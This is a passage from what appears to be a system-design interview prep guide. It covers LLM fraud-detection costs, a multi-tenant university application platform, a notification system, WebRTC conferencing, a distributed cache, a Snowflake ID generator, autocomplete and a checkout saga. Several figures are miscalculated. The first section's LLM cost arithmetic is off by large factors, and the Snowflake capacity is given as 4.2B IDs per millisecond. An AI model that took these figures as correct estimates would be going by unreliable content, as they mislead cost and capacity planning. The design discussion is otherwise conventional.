- Every decision (fast + slow) written to Cassandra with: txn_id, decision, confidence, features_used, agents_invoked, latency_ms, model_version
- Immutable append-only log (partition by date, never delete)
- Exportable to S3 for compliance/regulatory review

Monitoring:

- P99 decision latency < 100ms (alert if > 80ms)

- False positive rate < 0.1% (monitored via chargeback correlation)
- Model drift: feature distribution shift detection via Kafka consumer

IMPLEMENTATION CHALLENGE

Interviewer adds constraint mid-design: At 100K tps, your LLM API costs \$2 per 1K calls. At 5K escalations/second to the slow path, you're spending \$600/second = \$52M/day on LLM alone. How do you dramatically reduce LLM cost while maintaining fraud detection accuracy?

Cost optimization strategy:

1. Fine-tune a small model (7B parameter) on your historical fraud decisions — replaces the LLM for 80% of cases
2. LLM is only called for novel patterns (high entropy cases the fine-tuned model is uncertain about)
3. Implement uncertainty quantification: if fine-tuned model confidence > 0.9, use its decision (no LLM). If confidence 0.5-0.9: use LLM
4. Expected distribution: 4K/second handled by fine-tuned model at \$0.001/call = \$14,400/day; 1K/second to LLM = \$8,640/day — total \$23K/day vs \$52M/day
5. Fine-tuning pipeline: Kafka → feature store → weekly fine-tune job → shadow mode evaluation → gradual rollout

FOLLOW-UP PROBES

1. Your fast-path ML model has a bug and starts returning fraud probability 0.0 for everything. Your false negative rate spikes to 100%. How do you detect this, and what's your failsafe?
2. User challenges a fraud block. The agent decision used LLM reasoning that can't be reproduced (non-deterministic). How do you handle the dispute process?
3. Black Friday: 100K tps → spikes to 500K tps. Your entire slow path is backed up (queue depth: 1M). What do you do in the next 60 seconds?
4. A fraudster reverse-engineers your fast-path rule thresholds by making small test transactions. How do you detect and prevent this 'probing' attack?

[P] **Principal** *System Design > Full System Design*

Q7: Design the multi-tenant university application platform you built at Deepta AI, but at FAANG scale: 10,000 universities, 50M students, 500M applications.

ANSWER

This is Gautham's actual Deepta AI project — scaled 1000x. Interrogate the architecture decisions you made and how they break at scale.

At Current Scale (Deepta AI): Golang microservices, Kafka, Redis, PostgreSQL on GKE, embeddable JS packages, JWT auth, BFF proxy — designed for tens of thousands of students.

At FAANG Scale: 10K universities, 50M active students, 500M applications (~10/student), 10M new applications/day.

Multi-Tenancy Model:

Three approaches to data isolation:

1. **Database per tenant (university):** Maximum isolation, no cross-tenant data leaks. 10K PostgreSQL databases on GKE is impractical (connection limits, operational overhead).
2. **Schema per tenant:** One PostgreSQL cluster, 10K schemas. Better, but schema management at 10K is complex; PostgreSQL limits.
3. **Shared schema with tenant_id column (your current approach scaled):** Single schema, every table has university_id column, row-level security (RLS) enforces isolation. Most operationally efficient; risk: a bug could expose cross-tenant data.

Recommended: Shard by university_id (Hybrid)

- Shard PostgreSQL into 20 clusters, each serving ~500 universities
- Map university_id → shard via consistent hashing (stored in a routing service backed by etcd)
- Within a shard: shared schema with university_id RLS
- Large universities (>100K students) get a dedicated shard

Sharding the Applications Table (500M rows):

- Primary shard: university_id → which cluster
- Secondary shard within cluster: student_id % N → which PostgreSQL partition
- Partition by (university_id, created_at) for time-range queries

Kafka at Scale:

Your current Kafka pub/sub pipeline at Deepta AI becomes the backbone. At 10M applications/day = ~115 events/second average, 10x peak = 1150/second:

- Topic: student_applications (partition by university_id)
- Topic: application_status_changes (partition by student_id)
- Topic: lead_sync (per-integration: google_ads, facebook, ivr)
- Kafka Cluster: 10 brokers, replication factor 3, 30 partitions per topic
- Retention: 7 days (events replayed for DR)

Embeddable JS Package at Scale:

Your current approach: single JS bundle loaded from deepta.ai. At 50M students across 10K university websites:

- CDN: serve the JS bundle from CloudFront/Fastly edge nodes (< 50ms TTFB globally)
- Bundle versioning: universities pin to a major version, you deploy patches transparently
- Feature flags: per-university feature toggles served from your API (universities can test new form features)
- Cross-origin: your BFF pattern continues to work but must route to the correct shard based on university_id in the JWT

BFF Layer at Scale:

- 10K universities → 10K possible origins for CORS
- University domain whitelist in Redis (university_domain:{domain} → university_id)
- Per-university BFF routing: after extracting university_id from subdomain/path, route to the correct PostgreSQL shard
- BFF handles auth token translation, origin validation, and shard routing in one hop

Application Processing Pipeline:

Application submission → Kafka → Application Service → PostgreSQL shard → University notification

Student uploads documents → S3/GCS with university-specific prefixes → async virus scan (ClamAV via Lambda) → document service updates metadata in PostgreSQL

Search:

Universities searching for applicants by GPA, essays, demographics:

- PostgreSQL full-text search for small universities (< 10K applications)
- Elasticsearch cluster for large universities: index applications by university_id, full-text search, filters
- Index built async from Kafka events (application submitted/updated → Elasticsearch document upserted)

Authentication at Scale:

Your JWT pattern continues: per-university JWKS endpoints, university_id in JWT claims. At 50M students:

- Redis session store: 50M sessions × 1KB = 50GB → Redis Cluster with 6 shards
- JWT expiry: 15 minutes (keep short), refresh token rotation in Redis

Cost Optimization:

- Cold universities (no activity in 30 days): move their data to S3/Glacier (with rehydration on access)
- Application archiving: applications > 2 years old → S3 with metadata in PostgreSQL
- Serverless form rendering: embeddable JS doesn't call your servers until student types (lazy API calls)

IMPLEMENTATION CHALLENGE

Interviewer constraint: A GDPR investigation requires you to delete all data for a specific student (right to erasure) within 72 hours. You have their data in: PostgreSQL (5 shards), Kafka (7-day retention), Elasticsearch, S3 documents, Redis cache, Kafka Streams state stores, backup archives. Design the deletion workflow.

Technical challenges:

- Kafka: you cannot delete specific messages from a topic. Solutions: (1) use Kafka log compaction with tombstone record {student_id: null} — compaction cleans it up, (2) encrypt all student data with a per-student key, then delete the key (crypto-shredding), (3) filter consumers to not process deleted students
- S3: Object versioning + lifecycle rule triggered by deletion event
- PostgreSQL: cascading DELETE + audit log of the deletion
- Redis: pattern-based key deletion (SCAN + DEL for student:*.{id} keys)
- Elasticsearch: DELETE BY QUERY
- Backups: mark student as deleted in an exclusion list; restore procedures must apply exclusions

Implement a DeletionSaga orchestrated via a Kafka topic:

- Phase 1: publish student_deletion_requested event
- Phase 2: each service consumes and deletes from its own store, publishes student_deletion_confirmed
- Phase 3: coordinator aggregates confirmations → publishes student_deletion_complete
- If any service fails: retry with exponential backoff; page on-call after 24 hours
- Audit log: every deletion step logged to an immutable audit store (separate from deleted data)

FOLLOW-UP PROBES

1. University A and University B both apply to the same student (Oxford and Cambridge both want the student). How does your data model handle a student being tracked by multiple universities?
2. Your PostgreSQL shard for 500 universities goes down. 500 universities lose access. How do you handle partial shard failover?
3. A rogue university admin downloads all 50,000 student applications via your API using pagination. How do you detect and prevent this data exfiltration?
4. Add real-time collaborative review: 5 university admins simultaneously reviewing and commenting on the same application. How do you handle concurrent edits and real-time updates?

[P] **Principal** *System Design > Full System Design*

Q8: Design a distributed notification system that sends across email, SMS, push notifications, and in-app alerts with priority queues, deduplication, and delivery tracking.

ANSWER

Requirements:

- 50M users, 500M notifications/day (email, SMS, push, in-app)
- Priority: Transactional (OTP, payment) > Important (application status) > Marketing

- Deduplication: don't send duplicate notifications for the same event
- Delivery tracking: sent, delivered, opened, clicked
- User preferences: opt-out per channel, per notification type
- Rate limits: max 3 SMS/day per user, max 10 emails/day (for marketing)

Architecture:

API Layer:

POST /notifications {user_id, template_id, channel_preference, priority, idempotency_key, event_data}

Notification Service Flow:

1. Validate request, check idempotency_key in Redis (SET NX, TTL=24h) → reject duplicate
2. Fetch user preferences from cache (notification_prefs:{user_id})
3. Filter channels based on user opt-outs
4. Route to priority-specific Kafka topic: notifications.transactional, notifications.important, notifications.marketing
5. Consumers per channel (email-consumer, sms-consumer, push-consumer, inapp-consumer)

Priority Queues in Kafka:

Kafka doesn't natively support priority. Solutions:

- Separate topics per priority: consumers process transactional topic first (poll in priority order using consumer groups)
- Or: Kafka + Redis Priority Queue: publish to Redis sorted set (ZADD with priority score); workers pop from Redis → publish to downstream

Channel-Specific Processing:

- Email: vendor (SendGrid/SES) → template rendering (Handlebars/Go templates) → send via API → track delivery via webhook
- SMS: Twilio/AWS SNS → send → delivery receipt via webhook
- Push: FCM (Android), APNs (iOS) → batch sends (1000 at a time via FCM batch API) → track opens via SDK callback
- In-app: store in DB → serve via WebSocket/SSE to connected users → mark as read via API

Deduplication:

- Idempotency key: caller provides unique ID per logical notification
- Redis: SET NX notifications:sent:{idempotency_key} 1 EX 86400 — if key exists, skip
- Also dedup by (user_id, template_id, event_id): don't resend "application submitted" for the same application

User Preference Service:

- Preferences stored in PostgreSQL, cached in Redis (TTL=5min)
- On opt-out: update PostgreSQL + DELETE from Redis immediately
- Kafka event on preference change → consumers refresh their local cache

Delivery Tracking:

Kafka → ClickHouse (analytics DB for append-heavy workloads):

- notification_events(notification_id, user_id, channel, status, timestamp)
- Status machine: QUEUED → SENT → DELIVERED → OPENED → CLICKED

- Dashboard: real-time stats from Redis (INCR per status per hour), historical from ClickHouse

Rate Limiting per User per Channel:

- SMS: INCR sms_count:{user_id}:{date} → reject if > 3
- Email: INCR email_count:{user_id}:{date} → reject marketing if > 10

Failure Handling:

- Kafka consumer failure: Kafka offset not committed → retry (at-least-once delivery)
- Vendor API failure: exponential backoff + dead letter topic (DLT)
- DLT processor: alerts on-call, manual review or auto-retry after 1 hour

Scaling:

- Email: 500M/day = 5.8K/second → SendGrid handles 100K/second, no bottleneck
- Push: FCM batch = 1000/call = requires 500K calls/day = manageable
- In-app WebSocket: 50M connected users → 500K connections per WebSocket server (with 100 servers)

IMPLEMENTATION CHALLENGE

Implement the notification dispatcher in Go:

- NotificationDispatcher.Dispatch(ctx, notification Notification) error
 - Check idempotency (Redis NX)
 - Fetch and apply user preferences (Redis cache, PostgreSQL fallback)
 - Fan out to enabled channels (each channel dispatched as a separate goroutine with errgroup)
 - Wait for all channels with a 30-second timeout
 - Return first hard error; log soft errors (e.g., SMS vendor 500)

EmailSender.Send(ctx, to, templateID string, data map[string]interface{}) error:

- Render template from DB cache
- POST to SendGrid API with retry (3 attempts, exponential backoff: 1s, 2s, 4s)
- On 429 (rate limited by SendGrid): publish to priority-degraded queue for retry after 60s

Track all sends in Kafka:

- Producer.Publish(notification_id, channel, status, timestamp, error_reason)
- Batch size: 100 events or 500ms, whichever first

Constraints: must support 10K concurrent notifications; implement circuit breaker per vendor (open after 5 failures in 30s); retry logic must be idempotent (SendGrid accepts Message-Id header for dedup).

FOLLOW-UP PROBES

1. A bug causes your system to send 10 million duplicate marketing emails to users. Walk me through the post-incident analysis and what you add to prevent it.
2. A user opts out of all email notifications at 11:59 PM. Your marketing email batch for that day already queued 10,000 emails at 11:55 PM. How do you catch their opt-out before delivery?
3. WhatsApp becomes your most important channel. WhatsApp Business API has rate limits and requires template approval. How does your architecture handle a new channel?
4. Notification delivery reports come back from FCM 30 minutes after send. How do you update delivery status for notifications that are already 'SENT' in your system?

Q9: Design a Zoom-like WebRTC video conferencing system. You built a Zoom clone — now scale it to 100K concurrent meetings.

ANSWER

Your Zoom Clone context: You built WebRTC-based video conferencing with signaling, screen sharing, and participant management. Now scale it.

Requirements:

- 100K concurrent meetings, 10 participants average = 1M concurrent streams
- Meeting types: 1-1 (peer-to-peer) and group (2-100 participants)
- Features: video, audio, screen share, chat, recording
- Global: < 150ms latency for video (p99)

WebRTC Architecture Options:

Option 1: Peer-to-Peer (Mesh) — Your Current Zoom Clone

Each participant connects directly to every other participant. N participants = $N \times (N-1) / 2$ connections. With 10 participants: 45 peer connections per meeting. Works for small groups (< 4 participants), but upload bandwidth per client = 9 outbound streams at 1Mbps each = 9Mbps per client. Unusable for laptops.

Option 2: SFU (Selective Forwarding Unit)

Each client sends ONE stream to the SFU server. The SFU forwards each stream to all other participants. Client only uploads 1 stream, downloads $N-1$ streams. SFU is CPU-light (no decoding) — it just forwards RTP packets. This is what Zoom/Meet actually use. Better bandwidth, enables selective forwarding (send low-res to non-speaking participants).

Option 3: MCU (Multipoint Control Unit)

Server decodes, mixes all streams into one composite video, re-encodes. Client downloads ONE stream (the composite grid). Highest server cost (must decode+encode), lowest client bandwidth, lowest client CPU. Used for: recording, phone bridge integration.

Recommended: SFU with selective forwarding + MCU only for recording.

Signaling Server (your existing piece):

- WebSocket-based signaling: ICE candidates, SDP offer/answer exchange
- Signal server is stateful (holds signaling sessions per meeting)
- Scale: 100K meetings $\times$ 10 participants = 1M WebSocket connections
- WebSocket server: Node.js with cluster mode, or Go with goroutines (1M concurrent is feasible with Go's goroutine model — each goroutine ~8KB stack)
- Horizontal scaling: sticky sessions via load balancer (or Redis pub/sub for cross-instance signaling)

Media Server (SFU):

- Open source: mediasoup, Janus, LiveKit (built on Pion for Go)
- Your stack: LiveKit (Go-native SFU) recommended given your Go expertise
- Scale: one SFU server can handle 100-200 concurrent meetings with 10 participants at 1080p
- 100K meetings / 150 per server = ~667 SFU instances

Media Routing:

- Client connects to nearest SFU (geographically) via latency check

- Meetings that span regions: SFU cascading (SFU in India forwards to SFU in US for cross-region participants)
- ICE/TURN servers: for clients behind NAT/firewall that can't do peer-to-peer; TURN relays all media through server

Recording:

- MCU mode for meeting recording: dedicated recording nodes that decode+mix streams
- Store in S3, transcode to MP4 via FFmpeg or AWS MediaConvert
- Recording triggered via meeting control API → K8s Job → MCU recorder → S3

Scaling Strategy:

- Regional media servers (India, US, EU, APAC) — minimize latency
- Global load balancer (GeoDNS): route participants to nearest SFU region
- Meeting room concept: the signaling server maps meeting_id to the SFU server handling it (stored in Redis, consistent hashing ensures same meeting → same SFU unless it fails)

IMPLEMENTATION CHALLENGE

Design the signaling layer in Go for your Zoom clone at scale:

- SignalingServer: HTTP upgrade to WebSocket; one goroutine per connection
- Room struct: sync.Map of participant_id → *WebSocketConn; RWMutex for join/leave
- On participant joins: broadcast "participant_joined" to all in room; send ICE configuration (STUN/TURN servers)
- SDP relay: participant A sends {to: B, type: "offer", sdp: "..."} → server forwards to participant B
- ICE candidate relay: participant A sends {to: B, candidates: [...]} → server forwards
- Handle disconnect: participant disconnects → broadcast "participant_left" → clean up room (if empty: delete room from Redis)

For 1M WebSocket connections:

- Use gorilla/websocket with 4096-byte buffers (not default 65KB) to reduce memory
- Backpressure: if write buffer full (slow client), drop non-critical packets (video quality update) but never drop ICE/SDP
- Health check: connections ping every 30s, disconnect if no pong in 60s

Constraint: signaling server restart should not disconnect active calls — implement graceful shutdown with 5-minute drain period.

FOLLOW-UP PROBES

1. A participant joins from behind a corporate firewall that blocks UDP. WebRTC's media fails. How does TURN save them, and what's the server cost?
2. 100K meetings running, and suddenly 10K new meetings start (a major event). Your SFU autoscaling triggers. New meeting rooms must route to new SFU instances. How does the meeting → SFU mapping update?
3. Screen sharing is 4K at 30fps = 50Mbps. Most participants receive this at full quality. How do SFU Simulcast and Scalable Video Coding (SVC) help?
4. Your recording system needs to record 1000 simultaneous meetings. Each recording job decodes and re-encodes video (CPU-heavy). How do you architect and price this?

[M] Mid System Design > Full System Design

Q10: Design a distributed cache system from scratch. Cover cache policies, consistency, eviction, and how it differs from Redis's actual implementation.

ANSWER

Requirements:

- In-memory key-value store, sub-millisecond reads, 100K ops/second per node
- Eviction: LRU, LFU, TTL
- Consistency: eventual (cache is secondary to DB)
- Cluster: 10 nodes, data partitioned with consistent hashing
- Persistence: optional RDB snapshots (like Redis's RDB)

Core Data Structure:

Dictionary (hash table) for O(1) lookups + doubly linked list for LRU ordering:

- HashMap: key → Node pointer
- Node: key, value, expiry, prev, next
- LRU operations: on access, move node to head; on eviction, remove from tail

Thread Safety:

- Go implementation: sync.RWMutex on the whole map (simple but all-or-nothing)
- Better: shard the cache into N shards (e.g., 256), each with its own lock; key → shard via $\text{hash}(\text{key}) \% 256$
- This reduces lock contention by 256x for concurrent reads

TTL Eviction:

- Lazy expiry: on each GET, check if expired → delete → return nil
- Active expiry: background goroutine runs every 100ms, samples 20 random keys, deletes expired ones (Redis's actual approach — not a full scan, just sampling)

LRU vs LFU:

- LRU: evicts least recently used — good for temporal locality
- LFU: evicts least frequently used — better for cache pollution (one-off large scans shouldn't evict popular items)
- LFU is complex to implement efficiently: requires frequency count + per-frequency doubly linked list (O(1) get/put achievable with this structure)
- Redis 4.0+: uses approximate LRU (sample 5 keys, evict most-LRU among samples) — far less memory than true LRU

Memory Management:

- Set max memory limit (e.g., 2GB)
- When approaching limit: trigger eviction loop
- Eviction policies: no-eviction (return error), allkeys-lru, volatile-lru (only evict keys with TTL), allkeys-random

Cluster Architecture:

- Consistent hashing ring: each node owns a range of hash slots
- Client-side routing: client knows the ring → directly connects to the right node (no proxy)
- Data replication: each slot has a primary and 1-2 replicas (replica follows primary writes)
- Failure detection: gossip protocol between nodes; if node doesn't respond to ping in 1s (PING/PONG heartbeat), mark as suspected
- Failover: if primary unreachable for 5s, one replica promotes itself via election (Raft-lite)

Cache Consistency with DB:

- Cache-aside: application reads: check cache first, miss → DB, write to cache
- Write-through: on DB write, also write to cache (consistent but adds write latency)

- Write-behind (write-back): write to cache, async write to DB (fast writes, risk of data loss)
- Your Deepta AI Redis uses cache-aside: read from Redis, miss → PostgreSQL, populate Redis

Persistence:

- RDB snapshot: background goroutine forks, serializes the dataset to disk periodically (no impact on foreground operations in Redis's actual fork approach; in Go, do a stop-the-world snapshot or use copy-on-write with separate goroutine)
- AOF: append every write to a log file; on restart, replay the log

IMPLEMENTATION CHALLENGE

Implement an LRU cache in Go with the following specification:

- Cache[K comparable, V any] struct with Get(key K) (V, bool) and Put(key K, value V, ttl time.Duration)
- O(1) get and put operations
- Thread-safe: sharded locking (16 shards minimum)
- TTL support: lazy expiry on Get + background goroutine for active expiry
- Max size: evict LRU when at capacity
- Metrics: hit_count, miss_count, eviction_count, expiry_count (atomic counters)

Implementation details:

- Inner cache per shard: doubly linked list + map[K]*Node
- Node struct: key K, value V, expiresAt time.Time, prev/next *Node
- On Get: check expiresAt (if past, delete and return miss); move node to head of LRU list
- On Put: if key exists, update value + expiry + move to head; if new, add to head; if at capacity, remove tail

Test: verify O(1) with benchmark, race condition test with -race flag, TTL test with time.Sleep.

FOLLOW-UP PROBES

1. Your cache is at 100% memory. Eviction is happening constantly. What does this tell you about your cache sizing, and what's the degradation path?
2. Cache stampede (thundering herd): 100 requests miss the cache simultaneously and all hit the DB. How do you prevent this with 'lock-based coalescing'?
3. How does Redis handle persistence without blocking the main thread? What's the Go equivalent?
4. Your distributed cache has a node failure. Keys on the failed node need to serve from replicas. How long does the failover take, and what's the consistency state during failover?

[P] **Principal** System Design > Full System Design

Q11: Design a distributed ID generator (Snowflake-style) for your Deepta AI platform. Handle multiple data centers, clock skew, and 10 billion IDs per day.

ANSWER

Requirements:

- Generate globally unique 64-bit IDs
- 10 billion IDs/day = 115K IDs/second
- Time-sortable: IDs should be roughly ordered by creation time (makes DB range queries efficient)
- Available: ID generation must never fail (not dependent on a single point)
- No coordination: ID generation should not require distributed consensus per ID

Twitter Snowflake Structure (64-bit):

- 1 bit: sign (always 0)
- 41 bits: millisecond timestamp (epoch: Jan 1, 2024) → 2^{41} ms ≈ 69 years of timestamps

- 10 bits: machine ID (data center 5 bits + node 5 bits = 1024 machines)
- 12 bits: sequence counter (per machine, per millisecond) → 4096 IDs/ms/machine = 4M IDs/second/machine

Total capacity: 1024 machines × 4096 IDs/ms = 4.2B IDs/ms. Well beyond 115K/second.

Implementation Concerns:

Machine ID Assignment:

Each instance of the ID generator needs a unique machine ID. Options:

- GKE: use pod index from StatefulSet (stable, unique)
- ZooKeeper/etcd: on startup, claim a machine ID by setting a key; release on shutdown
- Consul: similar to etcd

Clock Skew Problem:

The Snowflake timestamp relies on the system clock. If the clock goes backwards (NTP sync, leap seconds):

- ID uniqueness is violated: two different IDs at different times could have the same timestamp
- The sequence counter doesn't save you if clock jumps back > 4096 IDs worth of time

Solutions:

1. **Wait for clock to catch up:** If current time < last_time, wait until current_time >= last_time. For small skews (< 10ms), this is acceptable.
2. **Refuse to generate IDs if clock jumps back significantly (> 100ms):** Return error, alert on-call.
3. **Use logical clock + physical clock combination:** Hybrid Logical Clock (HLC) — tracks max(physical, logical) so it only moves forward.
4. **Use a sequence extension:** When clock is backwards, burn through the sequence counter (up to 4096 IDs) before incrementing to the next "slot."

For Your Deepta AI Platform:

- Student application IDs: Snowflake ID (time-sortable, good for pagination)
- Use StatefulSet in GKE: pod-0, pod-1, ..., pod-N have stable machine IDs
- Fallback: if ID service is down, use UUID v4 (not time-sortable but always available; reconcile later)

Segment vs Snowflake:

- **Snowflake:** sub-millisecond, no network call, truly distributed
- **Segment-style (ticket servers):** central DB with auto-increment, fetch in batches. Simpler but DB is bottleneck.
- For < 10K IDs/second: ticket server is fine (simple, no clock issues). Above that, Snowflake.

Sonyflake (Go variant):

- 39-bit timestamp (10ms resolution), 8-bit sequence, 16-bit machine ID
- Machine ID from last 16 bits of machine's IP (works in most internal networks)
- $2^{39} \times 10\text{ms} = 174$ years, $2^8 = 256$ IDs per 10ms per machine

IMPLEMENTATION CHALLENGE

Implement Snowflake ID generator in Go:

- SnowflakeGenerator struct: machineID int64, lastTimestamp int64, sequence int64, mu sync.Mutex
- NewSnowflakeGenerator(datacenterID, nodeID int) (*SnowflakeGenerator, error): validate IDs fit in 5 bits each
- Generate() (int64, error):

- Lock mutex
- Get current millisecond timestamp
- If `current < lastTimestamp`: wait up to 10ms, then error if still behind
- If `current == lastTimestamp`: `sequence++ (mod 4096)`; if `sequence == 0`: busy-wait for next millisecond
- If `current > lastTimestamp`: `sequence = 0`; `lastTimestamp = current`
- Pack: `(timestamp - epoch) << 22 | machineID << 12 | sequence`
- Return packed int64

Machine ID from Kubernetes:

- Read `HOSTNAME` env var (`pod-3` → `nodeID=3`)
- Or: call Kubernetes API to get pod ordinal from `StatefulSet`

Test: generate 1M IDs, verify: all unique, all increasing, packed within 64 bits, benchmark $< 1\mu\text{s}$ per generation, test under concurrent load with `-race`.

FOLLOW-UP PROBES

1. Your GKE `StatefulSet` has 5 ID generator pods. Pod-2 crashes and restarts with the same machine ID. The new pod's clock is 500ms behind. What happens?
2. You need to generate IDs for a client in Europe where data must never leave the EU. How does your distributed ID system handle regional isolation?
3. Two pods are assigned the same machine ID due to a Kubernetes misconfiguration. How do you detect ID collisions, and what's the recovery process?
4. Now add: IDs must encode tenant (university) ID, allowing a router to extract the university from the ID without a DB lookup. How do you modify the bit layout?

[M] Mid *System Design > Full System Design*

Q12: Design a search autocomplete system. When a student types in a university search box on your Deepta AI platform, return top 5 suggestions in $< 50\text{ms}$.

ANSWER

Requirements:

- Input: prefix string, university context (optional)
- Output: top 5 matching university names, sorted by popularity/relevance
- Latency: $< 50\text{ms}$ total (including network)
- 10M universities in the database, 50M searches/day
- Update frequency: new universities added weekly; popularity updated hourly

Data Structure: Trie

A trie (prefix tree) is the natural structure for prefix matching. Each node is a character; paths from root to node form prefixes. At each node, store the top-K (e.g., 10) suggestions for all strings in that subtree.

Offline: Build the Trie

For each university name "Harvard University":

- Split into tokens: `["harvard", "university"]`
- Insert into trie for each token as a prefix start
- At each node on the path, maintain a sorted list of top-10 suggestions by popularity score

Storage:

A full in-memory trie for 10M names is ~several GB — feasible for a single server, but sharding is needed for reliability and scale.

Redis Sorted Sets Approach (simpler, scalable):

For each prefix "har", "harv", "harva", "harvard": store sorted set where members are university names, scores are popularity (click count). ZADD harv 9500 "Harvard University", ZADD harv 3200 "Harvey Mudd College". Query: ZREVRANGE harv 0 4 → top 5 results.

Precomputation: build all prefixes offline (Spark/Hadoop job), store in Redis. Total storage: average university name = 20 chars → 20 prefixes per name × 10M names = 200M Redis keys — too many keys, but manageable with Redis Cluster (each key is tiny).

Hybrid: Trie + Redis:

- Trie in memory for the top 1M common searches
- Redis for everything else (long-tail queries)
- Cache most-used autocomplete queries in Redis with 1-hour TTL

API:

GET /autocomplete?q=har&university_context=US&limit=5 → ["Harvard University", "Harvey Mudd College", ...]

Latency Breakdown (< 50ms budget):

- Network (client → CDN edge): ~5ms
- CDN edge cache hit: return immediately (0ms additional)
- Cache miss → origin server: ~10ms
- Trie/Redis lookup: < 5ms
- Serialization + response: ~2ms
- Total: well within 50ms

Personalization:

Score = base_popularity + user_affinity_score (if student previously clicked this university, boost it in their results). Stored in Redis per user: user_affinity:{user_id}:{university_id} → score; merge with global scores at query time.

Update Pipeline:

Hourly batch: Kafka consumer aggregates click events → recompute popularity scores → update Redis sorted sets and trie node scores. New universities: event-driven update (Kafka event on university_added → update trie/Redis within 5 minutes).

IMPLEMENTATION CHALLENGE

Implement autocomplete in Go with a concurrent-safe trie:

- TrieNode struct: children map[rune]*TrieNode, suggestions []Suggestion (top-10, sorted by score)
- Suggestion struct: text string, score int, universityID string
- Insert(text string, score int, id string): insert all prefixes; at each node, maintain top-10 sorted suggestions (insert + trim if > 10)
- Search(prefix string) []Suggestion: traverse trie to prefix node, return node's suggestions

Thread safety: RWMutex at top level (reads concurrent, writes exclusive). For higher write concurrency: per-subtrie locks (hash-trie approach).

Redis fallback for long-tail prefixes (not in trie):

- On trie miss: ZREVRANGE prefix 0 4 (Redis sorted set lookup)
- On complete miss: substring match via Elasticsearch (last resort, < 1% of queries)

Test: prefix "har" returns Harvard-related results in < 1ms; concurrent reads don't corrupt the trie; trie correctly handles Unicode (Japanese/Arabic university names).

FOLLOW-UP PROBES

1. Your trie has 10M nodes and sits in memory. The process restarts. How do you rebuild the trie without 5 minutes of downtime?
2. A user types very fast: 'har', 'harv', 'harva', 'harvard' — 4 requests in 200ms. How does the frontend handle rapid typing without overwhelming the API?
3. The top suggestion for 'har' should be 'Harvard' globally, but a student from India always searches for 'Harrisburg University'. How do you personalize without breaking the shared trie?
4. Now add: the autocomplete must handle fuzzy matching ('Harverd' → 'Harvard'). How does this change your data structure and algorithm?

[P] Principal *System Design > Full System Design*

Q13: Design an e-commerce checkout flow with exactly-once payment processing. Handle distributed transactions, idempotency, and failure recovery.

ANSWER

Requirements:

- User checks out cart → payment charged exactly once
- Order created exactly once (even with retries)
- Handle: network failures, service crashes mid-flow, payment gateway timeouts
- Distributed services: Cart Service, Order Service, Payment Service, Inventory Service, Notification Service

The Core Problem:

Distributed transactions are hard because any step can fail, and you need either all steps to complete or none (atomicity). Traditional 2-Phase Commit (2PC) is slow and requires coordinator — bad for microservices.

Saga Pattern (Recommended for Microservices):

A sequence of local transactions, each with a compensating transaction if it needs to roll back.

Checkout Saga:

1. Reserve Inventory (Cart → Inventory Service) | Compensate: Release Reservation
2. Create Order (Order Service: status=PENDING) | Compensate: Cancel Order
3. Charge Payment (Payment Service: charge card) | Compensate: Refund
4. Confirm Order (Order Service: status=CONFIRMED)
5. Notify User (Notification Service: order confirmation email)

Saga Execution: Choreography vs Orchestration:

- Choreography: each service publishes events; next service reacts to events. Decoupled but hard to visualize and debug.
- Orchestration: a Saga Orchestrator drives the flow, calls each service, handles failures. Easier to reason about. Recommended for checkout.

Orchestrator Implementation:

- A stateful service (can use Kafka + your Go service) that tracks the saga state

- State machine: STARTED → INVENTORY_RESERVED → ORDER_CREATED → PAYMENT_CHARGED → CONFIRMED → NOTIFIED
- On each step: persist state to DB → call service → on success: advance state → on failure: trigger compensations

Exactly-Once Payment — The Critical Part:

Payment gateways (Stripe, Razorpay) support idempotency keys:

- Generate idempotency_key = HMAC(user_id + cart_id + amount + timestamp_bucket)
- timestamp_bucket = truncate to the nearest hour (so retries within 1 hour use the same key)
- Send idempotency_key in payment API call
- If network timeout: UNKNOWN — payment may or may not have gone through
- Retry with SAME idempotency_key → gateway deduplicates → returns SAME result (success or failure, never double-charge)

Order Idempotency:

- Order created with idempotency_key stored in PostgreSQL
- INSERT INTO orders (idempotency_key, ...) ON CONFLICT (idempotency_key) DO NOTHING RETURNING *
- If the row exists, return existing order (idempotent create)

Outbox Pattern (reliable event publishing):

Problem: Order Service creates an order AND needs to publish a Kafka event — but what if the service crashes between the two?

Solution: Outbox table in the same PostgreSQL transaction:

```
BEGIN;
```

```
INSERT INTO orders VALUES (...);
```

```
INSERT INTO outbox (event_type, payload) VALUES ('ORDER_CREATED', {...});
```

```
COMMIT;
```

Background goroutine reads outbox table → publishes to Kafka → marks as published

Kafka only sees the event AFTER the DB transaction commits → no phantom orders in Kafka.

Inventory Reservation:

- Soft reserve: decrement available_count, increment reserved_count (not committed to purchase yet)
- On payment success: decrement reserved_count, decrement total_count
- On saga failure: release reservation (increment available_count)
- Reservation expiry: if saga hasn't completed in 30 minutes, automatically release reservation

Failure Scenarios:

- Payment times out (unknown): retry with same idempotency key → learn the result
- Order Service crashes after payment but before confirmation: saga orchestrator retries from last state (payment already charged → skip to confirmation step, idempotent)
- Payment charged but notification fails: notification is non-critical; retry notification independently; don't refund
- Inventory reservation fails: compensate order creation → cancel order → return error to user

IMPLEMENTATION CHALLENGE

Implement the checkout saga orchestrator in Go:

- CheckoutSaga struct: sagaID, state SagaState, checkpointDB *sql.DB
- Run(ctx, cart CartItems, userID, paymentMethod string) (OrderID, error)

Steps:

1. reserveInventory(ctx) — call Inventory Service; on failure: return error (no compensation needed)
2. createOrder(ctx) — INSERT with idempotency_key; on failure: compensate → releaseInventory(ctx)
3. chargePayment(ctx) — call Stripe with idempotency_key; on failure: compensate → cancelOrder → releaseInventory
4. confirmOrder(ctx) — UPDATE order status; on failure: compensate → refundPayment → cancelOrder → releaseInventory
5. notifyUser(ctx) — publish to notification Kafka topic (best-effort, no compensation)
 - Persist each state transition to saga_checkpoints table (saga_id, state, updated_at)
 - On startup: recover in-progress sagas by reading saga_checkpoints where state NOT IN ('COMPLETED', 'FAILED')

Constraints: each step must be idempotent; saga must complete or fully compensate within 30 minutes; implement saga_timeout: if saga hasn't advanced in 10 minutes, trigger compensation; test all failure scenarios (inject errors via interfaces).

FOLLOW-UP PROBES

1. Payment is charged. The order service crashes before confirming. The saga orchestrator itself also crashes. On restart, how do you recover without double-charging?
2. Two users try to buy the last item in stock simultaneously. Your inventory reservation races. How do you prevent overselling?
3. Your payment gateway (Stripe) is down for 10 minutes. 5,000 checkouts are queued. How do you handle this gracefully — retry, queue, or reject?
4. Now add split payment: user pays 50% now, 50% in 30 days. How does this complicate the saga, and how do you model it?

